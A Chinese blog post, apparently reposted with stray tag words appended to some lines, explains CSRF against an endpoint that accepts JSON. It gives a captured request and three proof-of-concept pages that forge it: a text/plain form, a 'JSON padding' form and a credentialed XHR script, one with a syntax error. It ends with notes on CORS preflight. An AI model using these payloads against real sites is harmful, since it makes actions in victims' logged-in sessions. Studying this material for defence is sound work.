關於JSON CSRF的一些思考

CSRF做爲常見漏洞,一直受到關注和研究,JSON是一種應用普遍的輕量級數據交換格式,當CSRF去POST一段JSON,狀況可能會變得有些不同;這次就一種特殊狀況下的CSRF進行分析,權當拋磚引玉。 html

某次遇到一個沒有驗證token與referer的CSRF。web

其原始數據包爲:json

POST /webnet/edit HTTP/1.1
Host: www.xxx.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/json; charset=utf-8
Content-Length: 85
Cookie: testcookie=yes; ASP.NET_SessionId=5udmqb45qoypdc55mfp1w4vy

{"pSpotId":"120201","pSignTimes":"70","pModuleID":"207","pSceneid":"120201007000046"}

很明顯,這是個編輯某種信息的操做,POST的是一段JSON,且沒有對token和referer的驗證 跨域

用form來提交,poc以下,把name置爲一段JSON,其value置爲空:瀏覽器

<html>
   <body>
    <form action="http://www.xxx.com/webnet/edit" method="POST" enctype="text/plain">
      <input type="hidden" name="&#123;&quot;pSpotId&quot;&#58;&quot;120201&quot;&#44;&quot;pSignTimes&quot;&#58;&quot;70&quot;&#44;&quot;pModuleID&quot;&#58;&quot;207&quot;&#44;&quot;pSceneid&quot;&#58;&quot;120201007000046&quot;&#125;" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

 

不過這樣POST的數據包會多一個「=」,由於咱們雖然把value置爲空,而後仍是會出現「name=」。cookie

    這種狀況下服務端的JSON解析器可能會拒絕這段JSON,由於它不符合JSON的數據格式。參照外國基佬的作法,咱們能夠給value賦值從而對這個「=」後面的數據進行補全,使得其構成一個完整的JSON格式,可避免解析器報錯(JSON Padding)。app

    POC以下:post

 

<html>  
<form action="http://www.xxx.com/webnet/edit" method="POST" enctype="text/plain">  
<input name='{"pSpotId":"120201","pSignTimes":"70","pModuleID":"207","pSceneid":"120201007000046", "test":"' value='test"}'type='hidden'>  
<input type=submit>  
</form>  
</html>

    獲得的POST包,這樣就構造出符合標準的JSON數據格式,從而避免報錯:code

 

    須要注意的是,在原始的數據包裏Content-Type的值是application/json,而以form去提交是無法設置enctype爲application/json的,在這裏設置爲text/plain,那麼如何設置Content-Type的值呢?orm

    因此咱們須要利用XHR進行提交,關於XHR的背景知識再也不贅述:https://en.wikipedia.org/wiki/XMLHttpRequest。POC以下(其中將content-type設置爲application/json):

<html>
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://www.xxx.com/webnet/edit", true);
        xhr.setRequestHeader("Accept", "*/*");
        xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3");
        xhr.setRequestHeader("Content-Type", "application/json; charset=utf-8");
        xhr.withCredentials = true;
        xhr.send(JSON.stringify({"pSpotId":"120201","pSignTimes":"70","pModuleID":"207","pSceneid":"120201007000046"});
    }
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();"/>
    </form>
  </body>
</html>

    在CORS標準中,定義了新的HTTP消息頭Access-Control-Allow-Origin,使得服務端能夠定義容許經過瀏覽器請求的域集合。另外,標準定義了當跨域影響用戶數據HTTP請求(如用XMLHttpRequest發送post)時,瀏覽器會發送預檢請求(OPTIONS請求)給服務端徵求支持的請求方法,而後根據服務端響應容許才發送真正的請求。

    在某些狀況中,若是服務端對Content-Type進行校驗,則不會響應這個OPTIONS請求,從而利用失敗,可是更多的狀況下服務端可能不會校驗Content-Type,或者不會嚴格校驗Content-Type是否爲application/json,因此不少狀況下這是可用的。

相關文章
相關標籤/搜索